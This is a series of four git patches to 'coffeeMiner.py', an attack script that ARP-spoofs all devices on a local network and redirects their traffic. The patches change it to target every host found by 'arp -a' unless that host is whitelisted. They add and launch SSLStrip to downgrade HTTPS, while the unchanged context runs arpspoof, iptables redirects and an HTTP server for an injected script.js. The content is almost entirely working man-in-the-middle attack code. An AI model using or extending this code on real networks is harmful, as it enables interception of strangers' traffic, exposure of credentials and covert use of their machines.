From 41926f973509353717c11167fc330b883cb28c9f Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 19:57:43 -0700 Subject: [PATCH 1/4] Changed to use whitelist.txt and read victims from 'arp -a' output --- coffeeMiner.py | 31 +++++++++++++++++++++++++------ victims.txt => whitelist.txt | 0 2 files changed, 25 insertions(+), 6 deletions(-) rename victims.txt => whitelist.txt (100%) diff --git a/coffeeMiner.py b/coffeeMiner.py index 9ba4d7c..e5cf421 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -1,13 +1,32 @@ -import os -import sys - +import subprocess, re, os, sys + +def get_victims(): + whitelist = 'whitelist.txt' + victims = [] + ip_str = subprocess.check_output(['arp','-a']) # use arp -a to get connected devices + ip_list = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", ip_str) # use regex to turn the output into a list + + if not os.path.isfile(whitelist): + victims = ip_list + print("No %s! Continuing...") % whitelist + else: + for ip in ip_list: + if not ip in open('whitelist.txt').read(): + #add ip to victim's list if it's not in whitelist.txt + victims.append(ip) + else: + print("Skipping whitelisted ip %s") % ip + + return victims + #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip -victims = [line.rstrip('\n') for line in open("victims.txt")] -print("victims:") -print(victims) +victims = get_victims() +print("victims: ") +for v in victims: + print(v) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") diff --git a/victims.txt b/whitelist.txt similarity index 100% rename from victims.txt rename to whitelist.txt From eb92306d09019554a145bcd2443e3a52b2d99907 Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 20:03:11 -0700 Subject: [PATCH 2/4] Added SSLStrip 2.0 --- .gitmodules | 3 +++ coffeeMiner.py | 3 +++ sslstrip2 | 1 + 3 files changed, 7 insertions(+) create mode 100644 .gitmodules create mode 160000 sslstrip2 diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..ef28802 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "sslstrip2"] + path = sslstrip2 + url = https://github.com/byt3bl33d3r/sslstrip2 diff --git a/coffeeMiner.py b/coffeeMiner.py index e5cf421..4ca2890 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -39,6 +39,9 @@ os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRE for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") + +# run SSLStrip on port 8000 +os.system("python sslstrip2/sslstrip.py -l 8000 &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") diff --git a/sslstrip2 b/sslstrip2 new file mode 160000 index 0000000..f228f30 --- /dev/null +++ b/sslstrip2 @@ -0,0 +1 @@ +Subproject commit f228f302826cf7b4f18823ba2f8a4b1cca89404e From 0944679bbcee7481e61c3f8ec79b3c725c54ae45 Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 20:19:01 -0700 Subject: [PATCH 3/4] Fix: changed port 8000 to 8080 for SSLStrip --- coffeeMiner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/coffeeMiner.py b/coffeeMiner.py index 4ca2890..f47cd8a 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -40,8 +40,8 @@ for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") -# run SSLStrip on port 8000 -os.system("python sslstrip2/sslstrip.py -l 8000 &") +# run SSLStrip on port 8080 +os.system("python sslstrip2/sslstrip.py -l 8080 &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") From 786b670f3441b2c9a9f0482415bb80226ece4966 Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 20:25:39 -0700 Subject: [PATCH 4/4] Fix: Use xterm -hold -e and python3 for SSLStrip --- coffeeMiner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/coffeeMiner.py b/coffeeMiner.py index f47cd8a..5c869fb 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -41,7 +41,7 @@ for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # run SSLStrip on port 8080 -os.system("python sslstrip2/sslstrip.py -l 8080 &") +os.system("xterm -hold -e 'python3 sslstrip2/sslstrip.py -l 8080' &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &")